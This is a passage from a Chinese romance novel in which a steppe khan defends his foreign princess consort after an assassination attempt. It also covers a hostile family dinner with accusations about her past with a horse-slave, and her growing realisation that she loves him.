“有刺客!护驾!”
外头札木尔大喊,侍女们尖叫躲避,混乱一片。
刺客显然朝赫连煊来。
他持刀跟刺客打斗,侍卫和暗卫纷纷前来护主,刺客死伤大半。
刺杀讲究快准狠,一旦开头不成,落下风,再难转圜。
首领刺客见行动失败,吹口哨,朝穆凝姝马车袭去,绑架她,顺便抢车逃走。
赫连煊抢过旁边侍卫的弓箭,飞快拉弓搭箭,三箭齐发,直接将刺客射下马车。
马匹受惊继续跑,他翻身上马,追上马车,腾跃到拉车的马上,将其控住,车速渐缓。
穆凝姝探出头来,正好对上他目光。
不知是她错觉,还是今日日光太盛,他眸中的凛冽寒光,似乎瞬间春意融融。
马车停下,她跳下来。
札木尔将活捉的两个刺客带来,禀报道:“其他都清理干净了。”
赫连煊从马车中拿出一坛酒,冲洗刀上血迹,慢悠悠道:“分开细审。务必留活口。”
穆凝姝凑上去,拉开他衣襟检查,还好,伤口只撕裂了一点点。
她道:“我带着药,给你先涂些。我们快回去吧。”
赫连煊莫名道:“回去?为何?”
穆凝姝更莫名其妙:“当然是因为遇刺,加上你又受伤了啊。这还用问吗。”
他随手扯下枝杏花把玩,道:“孤说好了陪你游玩,这般回去,岂非让公主白受一番舟车劳顿。放心,已经没事了。刺杀而已,这些刺客,活儿做得粗糙。”
听语气,颇看不上。
赫连煊折段花枝,簪在她鬓边,挑眉道:“这些杂碎,是嫌杏花不够艳丽,来送些鲜色给公主助兴。来多少,孤杀多少。”
她发髻微微凌乱,杏花随风飘零,缠绕在发丝间,越发衬得她娇怯动人。
见她不说话,他理理她垂在耳畔的碎发,道:“当真很怕?有孤在,不会有事。”
他谈及刺客时,语气倨傲。
现在却好似在哄她,声音低沉,很好听。
他当然不怕。
无论在政治谋略上,还是武力心性上,他都天赋异禀,的确拥有恃才傲物的资本。
有位智者曾说,距离产生美。
赫连煊这人却反其道而行之,越靠近,越能发觉其好处。
在她充满逻辑的幻想中,他本该是个阴鸷嗜杀的大魔王,而非现在这样,陪她走在春光下,悠哉赏花。
穆凝姝忽然生出些不甘示弱,却更为胆怯的心思来。
说不清,道不明。
她抬眸看他,道:“我才不怕。又不是没见过。”
赫连煊付之一笑,直截了当:“行。那你一个人在这儿,孤先走一步。”
转身,大步流星,作势离去。
“别呀你……单于等等我——”她赶紧追上,搂住赫连煊手臂,贴向他,嘴上还不肯认输,“你有伤在身,我扶着你。”
赫连煊放慢步伐,揽过她的肩,倚在她身上,道:“不如这样扶。毕竟……孤比较柔弱。”
穆凝姝:“……”
* * *
杏花摇曳,春光大好,侍女们收拾过后,一切恢复如常。
穆凝姝玩得尽兴,暮时才归。
然而一切并不白得。
小时候,村里人家都是种田为生。瓜果、粮食收获后,大老远运去镇里,卖给财主们。
穆凝姝跟着爹娘送东西,打小见得多,财主们全是不肯吃亏的性子,斤斤计较。
作为财主中的财主,赫连煊不遑多让。
穆凝姝承他恩惠玩了一天,他便要求她陪着上朝,说是抱病太久不适应,需人照顾。
她强烈怀疑,杏花林那日她玩得太开心,赫连煊发觉自己辛辛苦苦赚来家产,却没时间花,而她却闲散快乐,心理由此失衡。
好在每日只需要去一个时辰。
王庭中有个大隔间,赫连煊用以休憩,应有尽有。
这回穆凝姝学精了,找札木尔问出隔间后有道隐蔽小门,她从此处出入,不会惊扰前方大臣,不至于又当显眼包。
她独自待在隔间里头,只当换个地方看话本子,并无所谓。
近水楼台,免不得听到些消息。
军政上的事她不太懂,倒是捕捉到几条姜国相关。
三年前她出塞时,姜国一半国土闹水灾,另一半闹旱灾,北方边境处,涂丹部虎视眈眈,不时劫掠,苦不堪言,只能自割腿肉,送礼和亲,以求喘息。
经数年休养生息,如今境况好转许多。
虽不知她这假公主出塞,在其中是否起过几分效用,但她听着仍觉安慰。
* * *
赫连煊恢复上朝的第三天,舅舅耶律哈察在家中设小宴,庆贺他身体康复,纳福驱晦。
令穆凝姝费解的是,她也被邀请了。
赫连煊却不觉奇怪,带她一同赴宴。
比起接风宴,这场小宴才当真算家庭聚餐,只有舅舅、舅母、以及玛茹。
五人围桌而坐,赫连煊和她列上席,玛茹辈分最低,坐在下首,难得显露出安静乖巧的一面。
哪怕是装的,只要别闹腾,让她顺利过会,也挺好。
侍女端上奶茶。
耶律哈察举杯,说上一番祝词庆贺,举杯共饮,他一口喝完,先干为敬。
穆凝姝着实受不了咸奶茶,但这种场合,不喝完,显得太过骄矜。
入乡随俗,干掉它。
她刚抿上一口,杯盏却被赫连煊拿走。
他命侍女另外取壶甜奶茶过来,朝哈察道:“公主不爱咸的,这杯孤代饮。”
第26章 第 26 章 26不清白
见赫连煊饮下那女人剩的奶茶, 神情自然,显然对此习以为常,耶律哈察心里非常震惊。
草原习惯粗犷,男人们去河里洗澡同用帕子, 吃饭碗筷随意用, 都是常事。他这外甥却从来不用别人碰过的东西, 若非在行军中物资短缺, 他绝不跟人同吃同饮。
上回接风宴,赫连煊亲自给穆凝姝切肉,当时哈察只觉,男人得到漂亮新宠,新鲜劲儿正上头, 难免这德行。
今日一看, 再加上这段时日的情况,怕是不能再用一时新鲜解释。
赫连煊这般一打岔,饭桌上刚才的热闹氛围消失无踪,呈现出一股诡异的安静。
舅母见状,热场笑道:“大家都别干坐着,趁热吃菜。阿煊,今天的菜都是我亲手做的,快尝尝是不是和小时候的味道一样。”
“有劳舅母。”赫连煊跟平日别无二样, 跟穆凝姝道,“家宴罢了,不必拘束。”
穆凝姝礼貌道:“是, 菜色都很漂亮。多谢耶律夫人款待。”
“夫人?”赫连煊纠正她,“公主,你应当随孤称舅母。”
耶律哈察听不下去, 按捺不住,道:“凝姝阏氏这声‘舅母’,先别着急。今日请单于和阏氏过来,是有些话想说。大家就这么几个人,都是自家的,没必要绕圈子。阿煊,这个女人跟你在一起,不妥。”
耶律哈察对穆凝姝甚是厌恶。
这女人看似清纯淡泊,背地里绝不是省油的灯。最近竟敢跟去王庭,恨不得时时刻刻紧盯赫连煊,生怕其他女人见缝插针。
哈察非常清楚赫连煊在夺权路上的狠厉决绝,可这种事,他竟然也允了穆凝姝。简直被她迷得神魂颠倒,违背本性。
此事暂且不论,毕竟时间不长。
但巫祝的谶语,哈察必须说:“阿煊,你这次伤情凶险,前几日竟再度遇刺,你从未有过这么高的受伤频率。穆凝姝不祥,你不可再同她纠缠。巫祝早说过,这种跟下贱马奴厮混的女人身带晦气。你选妃那会儿,不该选她。”
赫连煊手指在桌上轻扣,眸光晦暗,缓缓道:“舅舅,马奴之事,孤说过不准再提。您当时不在赫连部,大概不知道。”
哈察不接台阶,继续道:“提不提都不妨碍这件事的存在。外人或许迫于你的单于身份,但我是你舅舅,我更担心你安危。你别迷恋她迷恋得自欺欺人。让这女人自己说。穆凝姝,你跟那马奴当真清白吗?若敢有半句假话,死后魂魄下无间地狱,来世投生畜生道。”
穆凝姝无语得差点笑出来。这誓言内容,对她毫无威胁。
她根本不信鬼神,也不指望来世。
不过,哈察的问题,是个好问题。
* * *
无数个寒冬深夜,她和莫勒钦相拥而眠。确切说,是她发现莫勒钦不会伤害自己后,主动抱着他,依偎求暖。
塞北那么冷,若没有他,或许她早已冻死在某个夜晚。
涂丹部闹过一次瘟疫,死了很多人,尤其是底层奴隶。他们根本弄不到任何药物抵抗疫疠,居住环境拥挤脏乱,传染迅速。
她和莫勒钦都染上此病。
她小时候得过这病,侥幸扛过,抵抗力稍强,莫勒钦病情比她重。
迫于无奈,她去找雅曼做交易。
在姜宫时,太医院每年都要整理抄写大量杂乱药方和药谱,这事本该由新晋御医们做,但宫里的御医,哪怕再末等,也是出身于医药世家。
富家公子们不肯老老实实当苦力,就花点儿银子包出去,找些是识文断字的宫女太监们做。
穆凝姝就是其中之一,因字写得好,态度又勤勉,人家年年都愿意找她。
自然而然,她记住一些药方。
恰好包括对付此种疫疠的方子。
那时雅曼染了疫疠,遭涂丹单于嫌弃。
穆凝姝表示愿意给她治病良方,作为报酬,她必须提供足够的药物。这药方不仅可以救雅曼自己的命,还能献给涂丹单于,让她立下大功,重新获宠。
雅曼果然立刻答应。穆凝姝要药去救莫勒钦,愿意跟那马奴继续纠缠,她喜闻乐见。
穆凝姝顺利拿到药剂,但莫勒钦病得太重。
她将汤药含在口中,对上他的嘴,一口一口喂下去。
屋漏偏逢连夜雨,涂丹接连遭难,前有瘟疫,后连连吃败仗。
民心焦躁,涂丹单于无能狂怒。
敕加族一遇到事,就喜欢生祭活人,以示诚心,求上苍神明垂怜。
莫勒钦和她,被选为那次祭祀的人牲。
他们被关押在一起,捆手绑脚,口中塞堵,狱卒日夜看守,以防自尽。因活祭极为残忍,人牲会被绑在木架上,活活烧死,痛苦至极。
男子先祭,三天后,女子随之。
大祭司派人来取莫勒钦,他奋力挣扎。
“公主,我会救你——无论多难,我一定回来救你——”
那是他留给她的最后一句话。
撕心裂肺的沙哑嗓音,很长一段时间,都在她梦中重复再重复。
可是他没有回来。
她行刑前夜,赫连突袭,涂丹覆灭。
她再未见过莫勒钦。
应当是死了。
即使侥幸逃脱生祭,也无法逃过赫连部的围杀。
整个涂丹,被屠得只剩下女人。
只是,她始终不愿相信,无法释怀。
他已消逝。
夜夜同眠,相濡以沫,纵然没到男女间最后那一步,论起清白,她和莫勒钦之间,着实谈不上此二字。
至少她对他的心,不清白。
旁人口中低贱的马奴,是她梦寐以求却再也无法相见的爱人。
雅曼难产时,她出手相救,有自己的私心。
涂丹部的旧人越来越少,莫勒钦好似一粒沙尘,无人记得,只在旁人对她的嘲笑中充当谈资,那些人甚至根本不认识他。
雅曼却认识他,见过他。
她不觉得雅曼的添油加醋多难听,至少她能在其中找到莫勒钦存在过的痕迹。
这样也很好。
* * *
穆凝姝不喜欢沉浸在苦楚里,人生漫漫,总得朝前走。
偏偏有人一再翻出这段旧伤。
着实不怎么令人愉快。
哈察怒气滔天,让她费解。
鸿门宴是针对她的,审判是不讲道理的,罪名是莫须有的。
今天最该生气的人是她才对。
穆凝姝道:“耶律大人何必一口一个下贱马奴,人家有名字,莫勒钦。”
哈察脸色越发难看,居然还敢提名字,“你承认了?”
穆凝姝清冷道:“承认什么?莫勒钦确有其人,当年帮助过我,仅此而已。耶律大人别急着定罪。至于你口中的清白……我同他,当然清清白白。”
她向来厌恶解释所谓的“清白”,但赫连煊在这里,她得顾忌他的脸面。
况且,没必要在口舌之争上给自己惹麻烦。
“就知道你不敢认。”哈察冷笑,朝身旁侍卫道,“去把雅曼带过来。一问便知。”
穆凝姝扯唇笑了下,故意道:“看来舅舅今日准备得挺充分。”
“舅舅”称呼一出,哈察顿时变了脸色,仿佛吞了苍蝇。
要的就是恶心。
他先恶心她,她理当回报。
哈察和雅曼凑在一起,情况对她极为不利。
她不再出声,自斟自饮甜奶茶。
事已至此,后续取决于赫连煊态度,她说什么不重要。若他认同他们的说法,要惩处她,她也没二话,莫勒钦存在过,她不冤。她的一切皆由他赐予,他要收回,亦是他的权力。
雅曼很快带到。看她状况,产后恢复得不错,气血红润,身材丰腴得宜,昔日风采逐渐回归。
她行礼问安,礼节周到,笑容娇媚如旧。
哈察立即问话,要雅曼如实交代马奴之事。
雅曼笑道:“那个叫莫勒钦的马奴?涂丹部确有其人,凝姝阏氏应当跟他挺熟。”
哈察瞥一眼穆凝姝,得意道:“你继续说清楚,他们之间如何苟且,形同夫妻。”
雅曼满脸莫名其妙,道:“夫妻?有这种事吗?当初凝姝阏氏在马场做事,莫勒钦也是,两人同僚搭子,时常凑在一块儿,旁的……并没有什么啊。”
莫说哈察惊讶,穆凝姝也颇为惊讶,转念一想,又在情理之中。
雅曼极度利己,指望血参之恩彻底转性,难。
估计雅曼也听信了赫连煊宠爱她的传言,审时度势,判断靠得宠于赫连煊的路走不通,才干脆倒戈,站在她这边。
涂丹瘟疫时,穆凝姝找雅曼做交易,而非找涂丹大阏氏,也是看准了雅曼这点。
涂丹大阏氏对她的恨意中,夹杂着女子年华逝去后,担心爱人被夺走的嫉妒。而雅曼对涂丹单于没有任何爱意,她只迷恋荣华富贵,直白得没有道德底线。
哈察将雅曼当年说过的话一一重复。
雅曼故作惊讶道:“啊,那些浑话,我的确说过。女人嘛,争宠的小小手段,耶律大人见多识广,应当能理解。如今我深觉自己错得深远,改邪归正,自然不能再胡说八道。我知道的就这么多,若其他事,雅曼先行告退。”
说罢,雅曼看向赫连煊,得允后立即离开,一秒不多待。
她生孩子那会儿,差点被赫连煊折磨死,看将这阎王就怕。狗男人手段卑劣阴狠,难伺候得很,她不指望跟穆凝姝争这个宠。耶律哈察想拿她当刀子使,也不先掂量下自己的分量。她又不傻。
赫连煊冷眼看向耶律哈察,目光威压。
哈察事与愿违,仍旧不肯罢手,道:“好,马奴之事暂且不提。你前几日杏林遇刺,刺客活口由我和札木尔亲自审问,查出姜国在赫连部安插有细作,刺客依据细作提供的消息,制定行刺计划。阿煊,你活到十九岁,对花花草草哪有什么兴趣,偏偏她来了你就去看花,天底下这么多巧合?”
第27章 第 27 章 27珠玉
杏林刺客同姜国有关, 穆凝姝亦是现在才知道,赫连煊从未对她说过。
她一去国离家多年的假公主,跟姜国毫无联系,在赫连朝中更无任何势力, 连消息来源都找不到。
说她参与刺杀计划, 未必太抬举她。
至于赏花, 若赫连煊本人不肯, 她还能强绑过去吗?
就不许大单于兴趣变文雅点,非得一直打打杀杀?
哈察斜眼瞧下穆凝姝,朝赫连煊道:“姜国如今喘过气来,说不定人家就等着你出事,好趁机回她的姜国。这女人对你毫无情义, 全是虚伪。你受重伤, 她又何曾为你掉过一滴泪。”
这些话甚为荒谬,听得穆凝姝怒极反笑。
在她过往人生中,遇到的每个人都告诉她,坚强是种美德。
来草原后,敕加人惯爱取笑中原女子哭哭啼啼,娇弱没用。
如今在哈察口中,不掉眼泪竟成了她冷血无情的罪证。
若当下受此委屈的人是玛茹,的确能哭得翻江倒海, 惹一众人心疼娇哄。
但,又不是每个人伤心难受时,都靠哭来解决问题。
五岁那年, 她哭得撕心裂肺,求爹娘不要卖掉她,还不是卖了。
在那之后, 她再没哭过。
穆凝姝静默深吸一口气。
她余光忽然瞥到玛茹。
刚才玛茹一直低着头喝奶茶,现在抬起脸,才看出憔悴许多,眼中饱含怨恨。
恨她横插一脚,抢走了本该属于耶律家的赫连煊?
从前藏着掖着,是因为还能以表妹自居,赖在他身边,如今到了婚龄却始终心愿未成,终于按捺不住。
所以一家人,铁了心要置她这外来者于死地。
一罪不成,就再来一罪,何患无辞。
她哪有本事左右大单于?
一个又一个,搞不定男人,就来搞她,殃及池鱼。
刺杀之事重大,她绝不能背锅。
穆凝姝正要说话,赫连煊却先她一步,命令道:“玛茹出去。”
玛茹愣住,“为何?”
赫连煊面色不耐,未给解释,直接吩咐札木尔将人带出去。
厅内只余四人。
赫连煊面如寒冰,语气冷冽,道:“闹剧到此为止。舅舅口口声声关切,究竟是为了孤,还是为了玛茹,你心里有数。你想孤娶玛茹,不妨直说,不必反复刁难一个弱女子。”
哈察脸色僵住,明言道:“行,话已至此,直说。玛茹满心喜欢你,我的确为她,但也是为你。阿煊,从前你大业未成,心无旁骛,我不好同你提及。现在你有成家意愿,何不跟我们亲上加亲。穆凝姝哪里是弱女子,你鬼迷心窍才遭她迷惑。玛茹爱你的心,胜过这等外人千百倍。她为你忧思成疾,天天以泪洗面,舅舅就这一个女儿,你让我如何袖手旁观?”
说到后面,哈察满脸痛苦,为女忧伤。
舅母亦是哭得不能自已,求赫连煊怜悯下玛茹,道:“我们老两口不奢求你娶她为正室阏氏,仅仅当个妾室也行,阿煊,你有那么多妾室,多一个并无所谓,何苦伤玛茹的心?”
赫连煊却毫无退让,道:“敕加好男儿数不尽,玛茹有很多选择,不必委屈当妾。你们若真心疼她,就该好好管教她,而非溺爱得她为所欲为。今日你们既然挑明,孤便说清楚,孤绝不会娶她,即使没有公主,也不会。你不必再白费心思。”
哈察不料赫连煊决绝至此,道:“敕加人祖祖辈辈顾念恩情。阿煊,你小时候——”
赫连煊冷淡打断,道:“就是因为孤过于顾念恩情,才生出这许多是非。你对孤的照拂,孤报答过,自问对得住你。换作旁人,今晚这事,孤必不会轻饶。耶律哈察,你我在舅甥之前,是君臣。”
哈察脸色灰白,回道:“……是,单于。”
他这外甥性子虽冷淡,却一直对他宽厚尊重,哪怕当上大单于,也从未直呼过他的姓名。没想到,现在竟为才认识几个月的外族女人翻脸,甚至动怒。
赫连煊牵起穆凝姝往外走,回身停住,道:“孤这些话,请舅舅务必跟玛茹说清楚,断掉她的念想。待她出嫁时,为兄会为她置办丰厚嫁妆,言尽于此。”
* * *
孤月高悬,夜风吹得微冷。
马车中,穆凝姝还没回过神来。
这就结束啦?
今晚明摆是场恶战,且是恶婆家自带团宠小表妹,欺负外来小媳妇的经典戏码。更可怕的是,赫连煊母亲不在,婆家直接是小表妹的亲生父母。
按照一般发展规律,她今晚不死也得脱层皮。
赫连煊不按套路出牌,让此战结束得有种极突兀的草率感。
本是她受审,全程承蒙他荫蔽,反倒她说话最少。
若天底下的丈夫都像赫连煊这般强硬,婆婆们那里还有作妖的机会。
不过刺杀事关重大,穆凝姝仍觉有必要摆脱下嫌疑,道:“单于,姜国刺客那事,我可以解释——”
赫连煊打断她,问道:“杏林赏花的时间和地点是孤临时起意,所有随从皆由孤安排,你如何提前得知?那晚孤跟你说过后,你我随即睡下,整夜你未出毡帐,要如何对外传递消息?”
穆凝姝愣住,“啊?这个……我……”
不应该是她解释嫌疑吗?
怎么会忽然变成考试?
穆凝姝成功被他带偏节奏,冥思苦想,半天没我个所以然来。
她想到那些被赫连煊逼问政事的大臣们,当时她看乐子看得有趣,轮到自己,滋味不好受。
太久不见她回答,赫连煊又提出几个新问题,更具体,更细节。
“啊这、这——你容我想想啊……”
穆凝姝被问得脑袋发懵。
虽说这种问题她答不上来才是正常,但赫连煊眼中揶揄轻蔑太盛,看她像在看傻子。
她好胜心顿时冒出来,嫌不嫌疑,浑然抛到九霄云外,就想证明下自己的智商。
然而想了半天,穆凝姝掏出块帕子擦擦额汗,只挤出句,“写小纸条,让小可爱偷偷递出去。它会打狗洞……”
绞尽脑汁就说出句这个,赫连煊一声叹息,道:“舅舅污蔑你通敌,你急着自证清白,孤问你如何做到,你又顺杆爬。公主,就你这水平,还刺杀。难道时至现在,你还没想到一件事?”
穆凝姝更懵了,木愣愣看着他,绝望道:“又是什么事呢?”
他再这么问下去,她真会怀疑自己是傻子。
赫连煊忍俊不禁,拿起旁边的奶条拍下她脑瓜,道:“你若有心刺杀,何必绕一大圈。你只需要弄些剧毒,趁上药涂在孤伤口上,得手很容易,你每天有无数机会。公主,你根本没朝这方向想,是因你从未有过害孤的心思。”
“对啊。”穆凝姝恍然大悟,连连点头。
遇上个青天大老爷是多么重要。
她没想到的辩辞,人家直接替她说出来。
赫连煊笑下,继续道:“即使孤没受伤,你还有其他方式,比如——”
他忽然住口。
穆凝姝正听得津津有味,好奇追问:“你继续说呀,比如什么呢?”
赫连煊笑意隐去,讳莫如深,道:“没什么。”
她全然忘记自己的嫌疑犯处境,夺过他手中奶条扔到一旁,坐到他身上晃,“你说嘛,话讲一半,最勾人最讨厌,你快说嘛。”
赫连煊只搂住她的腰,怕她掉下去,笑而不语。
女人刺杀男人的招数,多得是。
尤其是她和他这种关系。
说出来,杀不掉他,倒是能吓坏她。
她半天问不出个后续来,悻悻然坐回自己位置,捡起那根奶条吃,越吃越饿,才想起来闹了一晚上,一口饭没吃到。
拢共喝了两口奶茶。
肚子一阵叫唤。
她捂住,面色尴尬。
偏偏又响了两声。
马车空荡,声音无比清晰。
赫连煊笑下,“空城计唱得挺热闹。”
她双颊微热,默默吃点心,道:“此事可怨不得我。”
赫连煊也拿起点心吃,回想起方才的闹剧,道:“是。早知他们如此扫兴,就不该带你来。”
穆凝姝道:“也还好。其实单于不必因为我跟他们不愉快,毕竟都是你的至亲家人。”
他幼时多难,这样的恩亲,于他而言,意义非凡。
她不愿让他为难。
赫连煊道:“与你无关。从前孤事务繁多,没太注意玛茹,以为不理会慢慢就淡了。谁知小孩子不懂事,连大人都跟着她胡闹。既是如此,迟早得解决。况且,你也是我的家人,公主。”
穆凝姝呆呆望向他,“我?”
他上回好像说过这个词,她只当他是随口一说,没放在心上。
“当然。”赫连煊眸中浮笑,“难道你天天让外人随意脱你衣裳,帮你换药,同床共枕?公主是登徒子,孤可不是。既是家人,岂可随意让人欺负。舅舅他们也不能。”
穆凝姝顾不得他登徒子的玩笑话,只听得到“家人”二字,双眼忽感发酸。
她不是爱哭的性子。
遭人打骂的无数时刻里,她都鲜少有想哭的情绪。
方才哈察那般莫须有冤枉,她也没觉得有多了不得,失宠或挨罚,她都不怕。
赫连煊护着她,此时还认真说把她视为家人,她反倒不知所措。
她怕被他看出异样,轻声嗯了下,低头吃点心。
一颗心酸酸胀胀,说不出的滋味。
但特别开心。
马车行至王庭,赫连煊牵她下车,却没去王帐,而是直接走向旁边的小厨房。
他命下人们都出去,朝她道:“今晚鸿门宴,饭没吃上,气受得足。公主什么都想尝尝,好在舅母那些菜孤都会,做给你试试。”
穆凝姝惊讶,“你还会做饭?”
“你应该问,孤有什么不会。”他露出惯有的傲气,“说,想吃什么?”
穆凝姝看下食材,随意指了两样,狐疑看他,又四下瞄瞄水桶,万一厨房烧起来,得及时救火。
赫连煊捞起条鱼处理,刀在他手中犹如活物。
手下动作干净利落,鱼背上多出一道道均匀的花刀。
是她多虑,人家这刀工,远超她八万里地。
穆凝姝坐到一旁的小板凳上,偶尔听话帮他递个姜蒜,认真观赏。
她没见过男人做饭。
记忆中,她人还没灶台高时,就跟着她娘做饭。她老爹以及全村的男人,从来只吃不做,还爱挑三拣四,骂老婆女儿做得不够好。
后来她走南闯北所见,大多亦是如此。
赫连煊堂堂一个皇帝,居然会做饭,还做给她吃。
说出去都不会有人信。
感觉人生达到巅峰。
赫连煊垂首专注,淡然而认真,和批折子时无异。
这是他最常见的神情,也是她最喜欢的神情。
仔细想想,方才突遭逼婚的情形下,赫连煊还记得先把玛茹支开,再跟哈察明言。哪怕玛茹再三闹事,着实过分,他仍旧尽力减少对玛茹的伤害,让哈察和舅母转达他的拒绝。
他情绪稳定,极度理性,足够强大,温柔而不自知。
难怪哈察那么希望玛茹嫁给他。
哪怕他不是皇帝,他的品性,也胜过太多人。
赫连煊以为自己对玛茹冷漠暴躁,或许在玛茹眼中,表哥虽会骂她,却更是个维护她、纵容她的盖世英雄,于是越陷越深。
她思来想去,想不出任何一条,玛茹不喜欢他的理由。
穆凝姝忍不住调侃他:“单于,你有没有想过,玛茹太爱你,你也有错?”
赫连煊难得露出点疑惑,道:“孤还能有错?”
穆凝姝:“当然啊。表哥是皇帝,什么都很好,居然连饭都会做。见过如此珠玉在前,旁人再难入眼。她怎么舍得放手,换做是我,我也——”
她陡然抿唇。
赫连煊转头看她,双眸盯住她,“你也什么?”
第28章 第 28 章 28贪欲
我也会爱上你。
此念一出。
穆凝姝脑子空白一瞬。
她赶紧止住不恰当的念头, 改口道:“我也不甘心。女孩子嘛,免不得拈酸吃醋,你身旁没人倒还好,有了人, 却不是她, 她当然会有宝物被人夺走的感觉, 恨所有接近你的女子。‘不患寡而患不均’, 单于博学多识,必定明白此道理。”
赫连煊注意力再度回到鱼上,道:“孤没她想象中那么好。如果她肯安于妹妹的身份,大家都轻松。她却一味痴缠,自寻烦恼。”
穆凝姝不知为何, 想继续追问:“可是, 玛茹对你的爱,应当是很纯粹的,你一点都不想要吗?”
赫连煊毫不迟疑:“不想。错误的人,错误的感情,根本不该存在。”
他又看向她,道:“爱往往伴随着贪欲、沉溺、嫉妒、愚蠢、失控。若不加以克制,会很可怕。换作公主,你会想要吗?”
她愣住。
贪欲, 沉溺,嫉妒,愚蠢, 失控。
全是负面。
每个用词都很精准。
这就是玛茹的爱,带给他的所有感受吗?
可是为什么,字字句句都像一支又一支箭, 支支正中她的心思。
近来,她时常困惑于自己对赫连煊的态度。
她讨厌男人的触碰,他养伤时,她独睡小榻,却特别怀念先前抱着他的日子,待他伤好转,立即找个理由,恢复如常。
她明知跟着他去上朝会惹非议,明知即使强硬拒绝,他不会为难自己,却依然半推半就前往,因为她想多看看他。他太忙了,若无白日那点时光,夜里等他回来时,往往她已睡着,有时他甚至不回。
玛茹一家为难她,他为她挡下一切,不惜翻脸,她本该替他与至亲生出龃龉而难过,内心却忍不住窃喜于他的偏袒。
乌琪是她最好的朋友,她应当心无芥蒂,却莫名泛酸。论迹不论心,她暂无过错,可若是论心呢?
若是,论心?
她一直没有细想过。
现下,赫连煊的话点醒了她。
她沉溺于他的纵容、呵护、照顾,想要一直如此,甚至想要更多。
她对他起了贪念,所以不自觉地排斥乌琪接近他。
她对玛茹与他青梅竹马的情谊生出嫉妒,因此在略胜一筹时,难忍欢欣。
愚蠢已初现端倪。
有朝一日她也会失控吗?
变成像涂丹阏氏和玛茹那样歇斯底里。
穆凝姝抖了抖。
他说得没错,太可怕了。
赫连煊注意到,道:“你抖什么?是害怕?”
她沉默以对。
他顿住片刻,轻笑一声,沉声道:“不用怕。没人会这样对你。”
……他好像误解了什么。
她当然知道他不会对她爱到发癫,她现在更担心他的安危。
才摆脱玛茹,结果又疯一个她。
赫连煊,好好一个兢兢业业的事业狂魔,何其无辜倒此八辈子霉,碰上一堆烂桃花。
穆凝姝躲开他的眼神,看向锅里的炖鱼,默默祈祷他做饭翻车。
他必须有个缺点。
她此刻发誓,决不会爱上一个做饭难吃的人。
然而上天不公,他连厨艺都好得不像话。
太好吃。
想天天吃他做的饭。
啊,又是该死的贪欲,贪欲,贪欲。
穆凝姝替自己确诊。
如果这就是爱,答案很明确,她爱赫连煊。
从正面难以论证的事情,由负面入手,解释了她近来所有的反常。
原来,是因她喜欢他。
爱上一个人这么简单吗?只需短短三个月。
她抬眸看向对面的人。
恍惚间,穆凝姝好似看到了莫勒钦。
他们身份悬殊,外貌云泥之别,给她的感受却极为相似。
她爱的究竟是他,还是他身上不时出现的、莫勒钦的影子?
失神之际,穆凝姝忽然听赫连煊问道:“那个叫莫勒钦的人,对公主很重要?”
她一阵猛咳,差点噎死。
赫连煊抬手轻拍她的背,指骨抚摸过她的脊梁,配上问题,令她毛骨悚然。
想什么问什么,他莫不是有读心术。
他继续道:“选秀以及今晚宴席,公主顺着话语骂那人几句不配,闲言碎语会少很多。公主却丝毫不肯让步。孤挺好奇,他是你什么人?”
她舔舔唇,轻声道:“莫勒钦于我有恩……是、是个好人。违心说他的不是,我做不到。”
她曲解掉他的问题,搪塞过去,埋头苦吃。
赫连煊不置可否,再未多问。
在她心里,莫勒钦是个好人。
这个答案,他既觉得不配,却又贪婪地,觉得不够。
* * *
赫连煊经哈察大闹后,不仅不加收敛,反倒一身逆骨,得空便带穆凝姝骑马赏花。
天气转暖后,草原焕发生机,漫山遍野,皆是新绿,各色野花开也开不尽。
穆凝姝脱掉鞋子,脚踩在柔软的草地上,脚心偶尔一阵痒痒,惹得她止不住笑。
赫连煊牵着绝影和银霜,缓缓跟在她后面。她转身回望,风吹起他的单薄红衣,匆匆一瞥,仿若一朵艳极的花,盛开在绿意中。
近来,穆凝姝新学了不少诗句。
其中有一句,她颇为受用。
“有花堪折直须折,莫待无花空折枝。”
三年前,她喜欢莫勒钦,直到他离去,她才发觉,原来她对他的心思,竟是男女之情。
她从未喜欢过谁,也不觉这辈子会去爱谁。因此第一次遇上时,毫无经验,等反应过来,唯余遗憾。
这一次,她是幸运的,能够早早在赫连煊的事上,琢磨透彻,豁然开朗。
因姜国之故,她得以在赫连煊身边。恰巧她这公主装得不错,跟他处得来。
他想要的,是恪尽职守,安于本分,一切都尽在他掌握中。
失控的爱意,不如乖顺的柔情。
既是如此,她愿意以他希望的方式去喜欢他。
不表露出爱意,不纠缠,一直轻松下去。
有玛茹前车之鉴,她相信她能做得更好。
她与赫连煊的缘分,或许就像草原上盛放的花,趁此时美丽,当尽情珍惜,待三春过后,自有其归途。
只要在这条与他同行的路上,走得远一点,开心一点。届时,回忆足够美好,她没什么放不下。
如此想通,一切跟从前并无区别。
她朝他跑去,取下绝影背上的水袋,咕噜噜喝水。
待她喝够,赫连煊接过,仰头饮水。
喉结滚动起伏,淌下的水顺其滑落衣襟中,沾湿布料,黏在他肌肉上。
呃……她低头。
其实也有不同。
明确自己的心意后,他的一举一动,比从前更牵扯人心。
就拿喝水来说,他拿她的水袋接着喝,有种间接接吻的错觉。虽说他不见得注意到了,但她以如今的心境,很难忽略。
她和他之间的亲密不多。
唯一一次亲吻,还是春月节那会儿,他出于误解。
她低头看向自己的脚丫子,轻轻踢弄地上的小花。
那时候,她已经喜欢他了吧,否则他亲过来时,必定出于本能扇他一耳光。
心中难免遗憾。
早知如此,当时该借机多亲一亲。
见她抿笑出声,赫连煊也露出点笑,“你近来兴致格外高,倒是不怕别人说你迷惑孤不务正业。”
他以为杏林之事后,她不会愿意再跟他出来。
穆凝姝朝他道:“本公主冤枉。明明是大单于自己贪玩,寻个替罪羊。我替你背了这么多锅,你该给我赏赐弥补才对,居然还说这种话。”
赫连煊道:“每次带回来的东西,都是你先挑。你自己挑得嫌累,现在倒又讨赏。行,你说,想要什么?”
穆凝姝没想到,他会把玩笑话听进去。
她之前的调侃不无道理,玛茹沉迷于赫连煊,他必须负部分责任。
这人,不触碰他底线时,极好相处,甚至纵容偏袒而不自知。
如何让人不对其生出贪欲?
连她有意克制,都扛不住。
穆凝姝笑眼望他,轻轻拉住他的指尖,声音不自觉变得绵软,道:“一时之间,我也想不出。不如就先欠下。等我想好了,再告诉你,好不好呀?”
她心底暗戳戳明晰,这个小小的触碰在他接受的范围内。
同他相处久,她对分寸的把握,很有心得。
“好。”他反握住她的手,扶她上马,继续教她些进阶马术。
明明做的事都跟从前一样,她嘴角笑意却压也压不住。
